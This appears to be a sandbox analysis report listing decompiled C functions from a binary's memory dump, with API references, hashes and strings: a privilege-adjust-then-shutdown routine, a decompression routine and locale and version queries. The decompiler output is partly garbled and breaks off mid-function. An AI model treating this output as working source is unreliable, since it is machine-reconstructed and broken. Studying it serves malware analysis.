Opcode ID: 1f7f47d479afba1e25edb3dfdf66946c5a931e362b0a99e011b933594bd15731
Instruction ID: 396531010142fa93779bfa19a91fc9bb3864174ce6eca4eb40243b1b96f01e89
Opcode Fuzzy Hash: 1f7f47d479afba1e25edb3dfdf66946c5a931e362b0a99e011b933594bd15731
Instruction Fuzzy Hash: 35E05A8236430665EA623AFB08D6B2B500C4BA975EF04103FB7417A3C3DEAC8C04112E

Uniqueness

Uniqueness Score: -1.00%

Function 0040914C Relevance: 4.5, APIs: 3, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040914C(signed char __eax, struct _TOKEN_PRIVILEGES _a4) {
				void* _v0;
				signed char _t4;
				int _t11;
				void* _t16;

				_t4 = __eax;
				 *_t4 =  *_t4 + _t4;
				_t16 =  *_t4;
				if(_t16 != 0) {
					if (_t16 < 0) goto L2;
					 *_t4 =  *_t4 + _t4;
					goto ( *0x40d24c);
				}
				_t5 = _t4 & 0x00000010;
				 *((intOrPtr*)((_t4 & 0x00000010) +  *_t5)) =  *((intOrPtr*)((_t4 & 0x00000010) +  *_t5)) + (_t4 & 0x00000010) +  *_t5;
				AdjustTokenPrivileges(_v0, 0,  &_a4, 0, 0, 0);
				if(GetLastError() == 0) {
					_t11 = ExitWindowsEx(2, 0);
					if(_t11 == 0) {
						_t11 = E00409160();
					}
				} else {
					_t11 = E00409160();
				}
				return _t11;
			}

0x0040914c
0x0040914e
0x0040914e
0x00409150
0x00409153
0x00409155
0x00409158
0x00409158
0x004091c0
0x004091c4
0x004091d8
0x004091e4
0x004091f1
0x004091f8
0x004091fa
0x004091fa
0x004091e6
0x004091e6
0x004091e6
0x00409202

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 004091D8
GetLastError.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 004091DD

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AdjustErrorLastPrivilegesToken
String ID:
API String ID: 3328184475-0
Opcode ID: 467a01db60ae199ad802c26dacd045919751267d5a63fed329477ecb78e59307
Instruction ID: 9c58d4b06f9d60f0b319737994d7632eedae56a3026bc45fa00511cc05e329ac
Opcode Fuzzy Hash: 467a01db60ae199ad802c26dacd045919751267d5a63fed329477ecb78e59307
Instruction Fuzzy Hash: F5F08CB1B483825AF30166B61C5BB6627984B81708F0904BBB640FE2D3E56C9C05922E

Uniqueness

Uniqueness Score: -1.00%

Function 004081A8 Relevance: 3.0, Strings: 2, Instructions: 545
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E004081A8(intOrPtr* __eax, intOrPtr __ecx, intOrPtr __edx, intOrPtr* _a4, intOrPtr _a8) {
				intOrPtr* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				char _v25;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				char _v64;
				char* _v68;
				void* _v72;
				char _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				signed int _v88;
				char _v89;
				char _v96;
				signed int _v100;
				signed int _v104;
				short* _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				char _v136;
				signed int _t370;
				void* _t375;
				signed int _t377;
				signed int _t381;
				signed int _t389;
				signed int _t395;
				signed int _t411;
				intOrPtr _t422;
				signed int _t426;
				signed int _t435;
				void* _t448;
				signed int _t458;
				char _t460;
				signed int _t474;
				char* _t503;
				signed int _t508;
				signed int _t616;
				signed int _t617;
				signed int _t618;
				signed int _t622;

				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_v20 =  *((intOrPtr*)(_v8 + 0x10));
				_v24 = 0;
				_v32 = (1 <<  *(_v8 + 8)) - 1;
				_v36 = (1 <<  *(_v8 + 4)) - 1;
				_v40 =  *_v8;
				_t617 =  *((intOrPtr*)(_v8 + 0x34));
				_t474 =  *(_v8 + 0x44);
				_v44 =  *((intOrPtr*)(_v8 + 0x38));
				_v48 =  *((intOrPtr*)(_v8 + 0x3c));
				_v52 =  *((intOrPtr*)(_v8 + 0x40));
				_v56 =  *((intOrPtr*)(_v8 + 0x48));
				_v60 =  *((intOrPtr*)(_v8 + 0x2c));
				_v64 =  *((intOrPtr*)(_v8 + 0x30));
				_v68 =  *((intOrPtr*)(_v8 + 0x1c));
				_v72 =  *((intOrPtr*)(_v8 + 0xc));
				_t616 =  *((intOrPtr*)(_v8 + 0x28));
				_v128 =  *((intOrPtr*)(_v8 + 0x20));
				_v124 =  *((intOrPtr*)(_v8 + 0x24));
				_v120 = _v12;
				_v136 =  *((intOrPtr*)(_v8 + 0x14));
				_v132 =  *((intOrPtr*)(_v8 + 0x18));
				 *_a4 = 0;
				if(_v56 == 0xffffffff) {
					return 0;
				}
				__eflags = _v72;
				if(_v72 == 0) {
					_v68 =  &_v76;
					_v72 = 1;
					_v76 =  *((intOrPtr*)(_v8 + 0x4c));
				}
				__eflags = _v56 - 0xfffffffe;
				if(_v56 != 0xfffffffe) {
					L12:
					_t101 =  &_v24; // 0x407de5
					_v108 = _v16 +  *_t101;
					while(1) {
						__eflags = _v56;
						if(_v56 == 0) {
							break;
						}
						_t119 =  &_v24; // 0x407de5
						__eflags =  *_t119 - _a8;
						if( *_t119 < _a8) {
							_t458 = _t616 - _t617;
							__eflags = _t458 - _v72;
							if(_t458 >= _v72) {
								_t458 = _t458 + _v72;
								__eflags = _t458;
							}
							_t460 =  *((intOrPtr*)(_v68 + _t458));
							 *((char*)(_v68 + _t616)) = _t460;
							 *_v108 = _t460;
							_v24 = _v24 + 1;
							_v108 = _v108 + 1;
							_t616 = _t616 + 1;
							__eflags = _t616 - _v72;
							if(_t616 == _v72) {
								_t616 = 0;
								__eflags = 0;
							}
							_t116 =  &_v56;
							 *_t116 = _v56 - 1;
							__eflags =  *_t116;
							continue;
						}
						break;
					}
					__eflags = _t616;
					if(_t616 != 0) {
						_v25 =  *((intOrPtr*)(_v68 + _t616 - 1));
					} else {
						_v25 =  *((intOrPtr*)(_v68 + _v72 - 1));
					}
					__eflags = 0;
					_v116 = 0;
					_v112 = 0;
					while(1) {
						L24:
						_t133 =  &_v24; // 0x407de5
						_v108 = _v16 +  *_t133;
						_t136 =  &_v24; // 0x407de5
						__eflags =  *_t136 - _a8;
						if( *_t136 >= _a8) {
							break;
						} else {
							goto L25;
						}
						while(1) {
							L25:
							_t138 =  &_v24; // 0x407de5
							_v88 =  *_t138 + _v60 & _v32;
							__eflags = _v116;
							if(_v116 != 0) {
								break;
							}
							__eflags = _v112;
							if(_v112 == 0) {
								_t370 = E00407F00((_t474 << 4) + (_t474 << 4) + _v20 + _v88 + _v88,  &_v136);
								__eflags = _t370;
								if(_t370 != 0) {
									_t375 = E00407F00(_t474 + _t474 + _v20 + 0x180,  &_v136);
									__eflags = _t375 != 1;
									if(_t375 != 1) {
										_v52 = _v48;
										_v48 = _v44;
										_v44 = _t617;
										__eflags = _t474 - 7;
										if(__eflags >= 0) {
											_t377 = 0xa;
										} else {
											_t377 = 7;
										}
										_t474 = _t377;
										_v56 = E004080B0(_v20 + 0x664, _v88,  &_v136, __eflags);
										_t503 =  &_v136;
										__eflags = _v56 - 4;
										if(_v56 >= 4) {
											_t381 = 3;
										} else {
											_t381 = _v56;
										}
										_v100 = E00407F88((_t381 << 6) + (_t381 << 6) + _v20 + 0x360, _t503, 6);
										__eflags = _v100 - 4;
										if(_v100 < 4) {
											_t618 = _v100;
										} else {
											_v104 = (_v100 >> 1) - 1;
											_t524 = _v104;
											_t622 = (_v100 & 0x00000001 | 0x00000002) << _v104;
											__eflags = _v100 - 0xe;
											if(_v100 >= 0xe) {
												_t395 = E00407EA0( &_v136, _t524, _v104 + 0xfffffffc);
												_t618 = _t622 + (_t395 << 4) + E00407FCC(_v20 + 0x644,  &_v136, 4);
											} else {
												_t618 = _t622 + E00407FCC(_t622 + _t622 + _v20 + 0x560 - _v100 + _v100 + 0xfffffffe,  &_v136, _v104);
											}
										}
										_t617 = _t618 + 1;
										__eflags = _t617;
										if(_t617 != 0) {
											L82:
											_v56 = _v56 + 2;
											__eflags = _t617 - _v64;
											if(_t617 <= _v64) {
												__eflags = _v72 - _v64 - _v56;
												if(_v72 - _v64 <= _v56) {
													_v64 = _v72;
												} else {
													_v64 = _v64 + _v56;
												}
												while(1) {
													_t389 = _t616 - _t617;
													__eflags = _t389 - _v72;
													if(_t389 >= _v72) {
														_t389 = _t389 + _v72;
														__eflags = _t389;
													}
													_v25 =  *((intOrPtr*)(_v68 + _t389));
													 *((char*)(_v68 + _t616)) = _v25;
													_t616 = _t616 + 1;
													__eflags = _t616 - _v72;
													if(_t616 == _v72) {
														_t616 = 0;
														__eflags = 0;
													}
													_v56 = _v56 - 1;
													 *_v108 = _v25;
													_v24 = _v24 + 1;
													_v108 = _v108 + 1;
													__eflags = _v56;
													if(_v56 == 0) {
														break;
													}
													__eflags = _v24 - _a8;
													if(_v24 < _a8) {
														continue;
													}
													break;
												}
												L93:
												__eflags = _v24 - _a8;
												if(_v24 < _a8) {
													continue;
												}
												goto L94;
											}
											return 1;
										} else {
											_v56 = 0xffffffff;
											goto L94;
										}
									}
									_t411 = E00407F00(_t474 + _t474 + _v20 + 0x198,  &_v136);
									__eflags = _t411;
									if(_t411 != 0) {
										__eflags = E00407F00(_t474 + _t474 + _v20 + 0x1b0,  &_v136);
										if(__eflags != 0) {
											__eflags = E00407F00(_t474 + _t474 + _v20 + 0x1c8,  &_v136);
											if(__eflags != 0) {
												_t422 = _v52;
												_v52 = _v48;
											} else {
												_t422 = _v48;
											}
											_v48 = _v44;
										} else {
											_t422 = _v44;
										}
										_v44 = _t617;
										_t617 = _t422;
										L65:
										_v56 = E004080B0(_v20 + 0xa68, _v88,  &_v136, __eflags);
										__eflags = _t474 - 7;
										if(_t474 >= 7) {
											_t426 = 0xb;
										} else {
											_t426 = 8;
										}
										_t474 = _t426;
										goto L82;
									}
									__eflags = E00407F00((_t474 << 4) + (_t474 << 4) + _v20 + _v88 + _v88 + 0x1e0,  &_v136);
									if(__eflags != 0) {
										goto L65;
									}
									__eflags = _v64;
									if(_v64 != 0) {
										__eflags = _t474 - 7;
										if(_t474 >= 7) {
											_t508 = 0xb;
										} else {
											_t508 = 9;
										}
										_t474 = _t508;
										_t435 = _t616 - _t617;
										__eflags = _t435 - _v72;
										if(_t435 >= _v72) {
											_t435 = _t435 + _v72;
											__eflags = _t435;
										}
										_v25 =  *((intOrPtr*)(_v68 + _t435));
										 *((char*)(_v68 + _t616)) = _v25;
										_t616 = _t616 + 1;
										__eflags = _t616 - _v72;
										if(_t616 == _v72) {
											_t616 = 0;
											__eflags = 0;
										}
										 *_v108 = _v25;
										_v24 = _v24 + 1;
										__eflags = _v64 - _v72;
										if(_v64 < _v72) {
											_v64 = _v64 + 1;
										}
										goto L24;
									}
									return 1;
								}
								_t148 =  &_v24; // 0x407de5
								_t448 = ((( *_t148 + _v60 & _v36) << _v40) + (0 >> 8 - _v40) << 8) + ((( *_t148 + _v60 & _v36) << _v40) + (0 >> 8 - _v40) << 8) * 2 + ((( *_t148 + _v60 & _v36) << _v40) + (0 >> 8 - _v40) << 8) + ((( *_t148 + _v60 & _v36) << _v40) + (0 >> 8 - _v40) << 8) * 2 + _v20 + 0xe6c;
								__eflags = _t474 - 7;
								if(__eflags < 0) {
									_v25 = E00408010(_t448,  &_v136, __eflags);
								} else {
									_v96 = _t616 - _t617;
									__eflags = _v96 - _v72;
									if(__eflags >= 0) {
										_t161 =  &_v96;
										 *_t161 = _v96 + _v72;
										__eflags =  *_t161;
									}
									_v89 =  *((intOrPtr*)(_v68 + _v96));
									_v25 = E0040803C(_t448, _v89,  &_v136, __eflags);
								}
								 *_v108 = _v25;
								_v24 = _v24 + 1;
								_v108 = _v108 + 1;
								__eflags = _v64 - _v72;
								if(_v64 < _v72) {
									_t180 =  &_v64;
									 *_t180 = _v64 + 1;
									__eflags =  *_t180;
								}
								 *((char*)(_v68 + _t616)) = _v25;
								_t616 = _t616 + 1;
								__eflags = _t616 - _v72;
								if(_t616 == _v72) {
									_t616 = 0;
									__eflags = 0;
								}
								__eflags = _t474 - 4;
								if(_t474 >= 4) {
									__eflags = _t474 - 0xa;
									if(_t474 >= 0xa) {
										_t474 = _t474 - 6;
									} else {
										_t474 = _t474 - 3;
									}
								} else {
									_t474 = 0;
								}
								goto L93;
							}
							return 1;
						}
						return _v116;
					}
					L94:
					 *((intOrPtr*)(_v8 + 0x20)) = _v128;
					 *((intOrPtr*)(_v8 + 0x24)) = _v124;
					 *((intOrPtr*)(_v8 + 0x28)) = _t616;
					_t300 =  &_v24; // 0x407de5
					 *((intOrPtr*)(_v8 + 0x2c)) = _v60 +  *_t300;
					 *((intOrPtr*)(_v8 + 0x30)) = _v64;
					 *((intOrPtr*)(_v8 + 0x34)) = _t617;
					 *((intOrPtr*)(_v8 + 0x38)) = _v44;
					 *((intOrPtr*)(_v8 + 0x3c)) = _v48;
					 *((intOrPtr*)(_v8 + 0x40)) = _v52;
					 *(_v8 + 0x44) = _t474;
					 *((intOrPtr*)(_v8 + 0x48)) = _v56;
					 *((char*)(_v8 + 0x4c)) = _v76;
					 *((intOrPtr*)(_v8 + 0x14)) = _v136;
					 *((intOrPtr*)(_v8 + 0x18)) = _v132;
					_t331 =  &_v24; // 0x407de5
					 *_a4 =  *_t331;
					__eflags = 0;
					return 0;
				}
				_v80 = (0x300 <<  *(_v8 + 4) + _v40) + 0x736;
				_v84 = 0;
				_v108 = _v20;
				__eflags = _v84 - _v80;
				if(_v84 >= _v80) {
					L7:
					_v52 = 1;
					_v48 = 1;
					_v44 = 1;
					_t617 = 1;
					_v60 = 0;
					_v64 = 0;
					_t474 = 0;
					_t616 = 0;
					 *((char*)(_v68 + _v72 - 1)) = 0;
					E00407E60( &_v136);
					__eflags = _v116;
					if(_v116 != 0) {
						return _v116;
					}
					__eflags = _v112;
					if(_v112 == 0) {
						__eflags = 0;
						_v56 = 0;
						goto L12;
					} else {
						return 1;
					}
				} else {
					goto L6;
				}
				do {
					L6:
					 *_v108 = 0x400;
					_v84 = _v84 + 1;
					_v108 = _v108 + 2;
					__eflags = _v84 - _v80;
				} while (_v84 < _v80);
				goto L7;
			}

0x004081b4
0x004081b7
0x004081ba
0x004081c5
0x004081c8
0x004081d9
0x004081ea
0x004081f2
0x004081fb
0x00408201
0x00408207
0x00408210
0x00408219
0x00408222
0x0040822b
0x00408234
0x0040823d
0x00408246
0x0040824f
0x00408255
0x0040825e
0x00408264
0x0040826d
0x0040827b
0x00408281
0x00408287
0x00000000
0x00408289
0x00408290
0x00408294
0x00408299
0x0040829c
0x004082a9
0x004082a9
0x004082ac
0x004082b0
0x00408351
0x00408354
0x0040835a
0x0040838f
0x0040838f
0x00408393
0x00000000
0x00000000
0x00408395
0x00408398
0x0040839b
0x00408361
0x00408363
0x00408366
0x00408368
0x00408368
0x00408368
0x00408375
0x00408376
0x0040837c
0x0040837e
0x00408381
0x00408384
0x00408385
0x00408388
0x0040838a
0x0040838a
0x0040838a
0x0040838c
0x0040838c
0x0040838c
0x00000000
0x0040838c
0x00000000
0x0040839b
0x0040839d
0x0040839f
0x004083b7
0x004083a1
0x004083ab
0x004083ab
0x004083bc
0x004083be
0x004083c1
0x004083c4
0x004083c4
0x004083c7
0x004083cd
0x004083d0
0x004083d3
0x004083d6
0x00000000
0x00000000
0x00000000
0x00000000
0x004083dc
0x004083dc
0x004083dc
0x004083e5
0x004083e8
0x004083ec
0x00000000
0x00000000
0x004083f6
0x004083fa
0x0040841d
0x00408422
0x00408424
0x004084fd
0x00408502
0x00408503
0x00408643
0x00408649
0x0040864c
0x0040864f
0x00408652
0x0040865b
0x00408654
0x00408654
0x00408654
0x00408660
0x00408678
0x0040867b
0x00408681
0x00408685
0x0040868c
0x00408687
0x00408687
0x00408687
0x004086a8
0x004086ab
0x004086af
0x00408728
0x004086b1
0x004086b7
0x004086ba
0x004086c6
0x004086c8
0x004086cc
0x00408702
0x00408724
0x004086ce
0x004086f2
0x004086f2
0x004086cc
0x0040872b
0x0040872b
0x0040872c
0x00408737
0x00408737
0x0040873b
0x0040873e
0x00408750
0x00408753
0x00408760
0x00408755
0x00408758
0x00408758
0x00408763
0x00408765
0x00408767
0x0040876a
0x0040876c
0x0040876c
0x0040876c
0x00408775
0x0040877e
0x00408781
0x00408782
0x00408785
0x00408787
0x00408787
0x00408787
0x00408789
0x00408792
0x00408794
0x00408797
0x0040879a
0x0040879e
0x00000000
0x00000000
0x004087a3
0x004087a6
0x00000000
0x00000000
0x00000000
0x004087a6
0x004087a8
0x004087ab
0x004087ae
0x00000000
0x00000000
0x00000000
0x004087ae
0x00000000
0x0040872e
0x0040872e
0x00000000
0x0040872e
0x0040872c
0x0040851b
0x00408520
0x00408522
0x004085d2
0x004085d4
0x004085f2
0x004085f4
0x004085fb
0x00408601
0x004085f6
0x004085f6
0x004085f6
0x00408607
0x004085d6
0x004085d6
0x004085d6
0x0040860a
0x0040860d
0x0040860f
0x00408625
0x00408628
0x0040862b
0x00408634
0x0040862d
0x0040862d
0x0040862d
0x00408639
0x00000000
0x00408639
0x00408549
0x0040854b
0x00000000
0x00000000
0x00408551
0x00408555
0x00408561
0x00408564
0x0040856d
0x00408566
0x00408566
0x00408566
0x00408572
0x00408576
0x00408578
0x0040857b
0x0040857d
0x0040857d
0x0040857d
0x00408586
0x0040858f
0x00408592
0x00408593
0x00408596
0x00408598
0x00408598
0x00408598
0x004085a0
0x004085a2
0x004085a8
0x004085ab
0x004085b1
0x004085b1
0x00000000
0x004085ab
0x00000000
0x00408557
0x0040842a
0x00408454
0x00408459
0x0040845c
0x0040849d
0x0040845e
0x00408462
0x00408468
0x0040846b
0x00408470
0x00408470
0x00408470
0x00408470
0x0040847c
0x0040848d
0x0040848d
0x004084a6
0x004084a8
0x004084ab
0x004084b1
0x004084b4
0x004084b6
0x004084b6
0x004084b6
0x004084b6
0x004084bf
0x004084c2
0x004084c3
0x004084c6
0x004084c8
0x004084c8
0x004084c8
0x004084ca
0x004084cd
0x004084d6
0x004084d9
0x004084e3
0x004084db
0x004084db
0x004084db
0x004084cf
0x004084cf
0x004084cf
0x00000000
0x004084cd
0x00000000
0x004083fc
0x00000000
0x004083ee
0x004087b4
0x004087ba
0x004087c3
0x004087c9
0x004087d2
0x004087d5
0x004087de
0x004087e4
0x004087ed
0x004087f6
0x004087ff
0x00408805
0x0040880e
0x00408817
0x00408823
0x0040882c
0x00408832
0x00408835
0x00408837
0x00000000
0x00408837
0x004082cd
0x004082d0
0x004082d8
0x004082de
0x004082e1
0x004082fa
0x00408301
0x00408304
0x00408307
0x0040830a
0x0040830c
0x00408311
0x00408314
0x0040831c
0x0040831e
0x00408329
0x0040832e
0x00408332
0x00000000
0x00408334
0x0040833c
0x00408340
0x0040834c
0x0040834e
0x00000000
0x00408342
0x00000000
0x00408342
0x00000000
0x00000000
0x00000000
0x004082e3
0x004082e3
0x004082e6
0x004082eb
0x004082ee
0x004082f5
0x004082f5
0x00000000

Strings

}@, xrefs: 004087A8, 004087A0
}@, xrefs: 00408354, 004083C7, 004083D0, 004087D2, 00408832, 004083DC, 0040842A, 00408395

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: }@$}@
API String ID: 0-950108737
Opcode ID: 7cb438cf7f0ff76753a1d16800e3023f3e313fbbfbb21f985cf38b771b24bb28
Instruction ID: c8203a9fa98a986d8779286789c6104c8ca5558bbffbe985887727c33bce2231
Opcode Fuzzy Hash: 7cb438cf7f0ff76753a1d16800e3023f3e313fbbfbb21f985cf38b771b24bb28
Instruction Fuzzy Hash: 3A32E674E04219DFCB14CF99CA80ADDBBB2BF88314F24816AD855B7385DB34AE42CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004051A8 Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E004051A8(int __eax, char __ecx, int __edx) {
				char _v16;
				char _t5;
				char _t6;

				_push(__ecx);
				_t6 = __ecx;
				if(GetLocaleInfoA(__eax, __edx,  &_v16, 2) <= 0) {
					_t5 = _t6;
				} else {
					_t5 = _v16;
				}
				return _t5;
			}

0x004051ab
0x004051ac
0x004051c2
0x004051c9
0x004051c4
0x004051c4
0x004051c4
0x004051cf

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,004053AA,?,?,?,00000000,0040555C), ref: 004051BB

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 5ea09b3054f78be8d61aadd1ef4a431fb4c5ee7ddbf8397ee2588b1f4940bcb7
Instruction ID: dec8dcb9893e8432c944e1b70884c8cc40709e939aac0c2d0d2241257bb7fc31
Opcode Fuzzy Hash: 5ea09b3054f78be8d61aadd1ef4a431fb4c5ee7ddbf8397ee2588b1f4940bcb7
Instruction Fuzzy Hash: D3D05EB631E6502AE210519B2D85EBB4EACCAC57A4F14443BF648DB242D2248C069776

Uniqueness

Uniqueness Score: -1.00%

Function 004026C4 Relevance: 1.5, APIs: 1, Instructions: 20
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004026C4() {
				void* _v14;
				void* _v16;
				struct _SYSTEMTIME _v28;
				signed int _t13;

				GetSystemTime( &_v28);
				_t13 = ((_v28.wHour & 0x0000ffff) * 0x3c + _v28.wMinute) * 0x3c * 0x3e8;
				 *0x40c02c = _t13;
				return _t13;
			}

0x004026ce
0x004026f3
0x004026f5
0x004026fe

APIs

GetSystemTime.KERNEL32(?), ref: 004026CE

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: SystemTime
String ID:
API String ID: 2656138-0
Opcode ID: 1c1586f040ad907c453502297459692aa8199981632c93951a31d41848eff65d
Instruction ID: 69442b1fa125f02c17f5f00667ba5619268a94e84ed87230136e9e38920861ba
Opcode Fuzzy Hash: 1c1586f040ad907c453502297459692aa8199981632c93951a31d41848eff65d
Instruction Fuzzy Hash: 14E04F21E0010A82C704ABA5CD435EDF7AEAB95600B044272A418E92E0F631C251C748

Uniqueness

Uniqueness Score: -1.00%

Function 00405C44 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C44() {
				intOrPtr _v132;
				int _t2;
				intOrPtr _t3;
				struct _OSVERSIONINFOA* _t4;

				_t4->dwOSVersionInfoSize = 0x94;
				_t2 = GetVersionExA(_t4);
				if(_t2 != 0) {
					_t3 = _v132;
					 *0x40b07c = _t3;
					return _t3;
				}
				return _t2;
			}

0x00405c4a
0x00405c52
0x00405c59
0x00405c5b
0x00405c5f
0x00000000
0x00405c5f
0x00405c6a

APIs

GetVersionExA.KERNEL32(?,00406540,00000000,0040654E,?,?,?,?,?,0040993C), ref: 00405C52

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: b3c8fce3f516c1eeee7654ac00498b0e6f5204205adccd6d1250d5bfc2945711
Instruction ID: 6a84e84a5bdb2c7c5b206d002f2a3fc227ad50a79849cf1aa773f1ea3c1cbc6a
Opcode Fuzzy Hash: b3c8fce3f516c1eeee7654ac00498b0e6f5204205adccd6d1250d5bfc2945711
Instruction Fuzzy Hash: 5AC0126040470186E7109B319C42B1672D4A744310F4805396DA4953C2E73C81018A5A

Uniqueness

Uniqueness Score: -1.00%

Function 00406E40 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 86
registrylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00406E40(void* __ebx, void* __edi, void* __esi) {
				void* _v8;
				char _v12;
				char _v16;
				char _v20;
				intOrPtr* _t50;
				intOrPtr _t64;
				void* _t72;

				_v20 = 0;
				_v12 = 0;
				_push(_t72);
				_push(0x406f45);
				_push( *[fs:eax]);
				 *[fs:eax] = _t72 + 0xfffffff0;
				_t50 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetUserDefaultUILanguage");
				if(_t50 == 0) {
					if( *0x40b07c != 2) {
						if(E00406D84(0, "Control Panel\\Desktop\\ResourceLocale", 0x80000001,  &_v8, 1, 0) == 0) {
							E00406D78();
							RegCloseKey(_v8);
						}
					} else {
						if(E00406D84(0, ".DEFAULT\\Control Panel\\International", 0x80000003,  &_v8, 1, 0) == 0) {
							E00406D78();
							RegCloseKey(_v8);
						}
					}
					E0040322C( &_v20, E00406FE8);
					E004032FC( &_v20, _v12);
					E004027B4(_v20,  &_v16);
					if(_v16 != 0) {
					}
				} else {
					 *_t50();
				}
				_pop(_t64);
				 *[fs:eax] = _t64;
				_push(E00406F4C);
				E00403198( &_v20);
				return E00403198( &_v12);
			}

0x00406e4b
0x00406e4e
0x00406e53
0x00406e54
0x00406e59
0x00406e5c
0x00406e74
0x00406e78
0x00406e8a
0x00406edf
0x00406eec
0x00406ef5
0x00406ef5
0x00406e8c
0x00406ea7
0x00406eb4
0x00406ebd
0x00406ebd
0x00406ea7
0x00406f02
0x00406f0d
0x00406f18
0x00406f23
0x00406f23
0x00406e7a
0x00406e7a
0x00406e7c
0x00406f29
0x00406f2c
0x00406f2f
0x00406f37
0x00406f44

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,00406F45), ref: 00406E69
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00406E6F
RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,00406F45), ref: 00406EBD

Strings

kernel32.dll, xrefs: 00406E64
Locale, xrefs: 00406EAC
.DEFAULT\Control Panel\International, xrefs: 00406E94
GetUserDefaultUILanguage, xrefs: 00406E5F
Control Panel\Desktop\ResourceLocale, xrefs: 00406ECC

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 4190037839-2401316094
Opcode ID: 36a3d51a04bf850c18b4ad2eba5c44474686bcc119d91182359df5913d328945
Instruction ID: 28d635b88271944ce017b23ebdd5d9b92fa5db15c94327f4e3560df006acd214
Opcode Fuzzy Hash: 36a3d51a04bf850c18b4ad2eba5c44474686bcc119d91182359df5913d328945
Instruction Fuzzy Hash: AC216170B0020AAFDB00EBA5DC55A9EB7F8AB44304F51447BA506F72C1E77C9A158B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00403A97 Relevance: 15.1, APIs: 10, Instructions: 122
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403A97(void** __eax) {
				void* _t25;
				long _t26;
				void* _t27;
				long _t30;
				void* _t34;
				void* _t36;
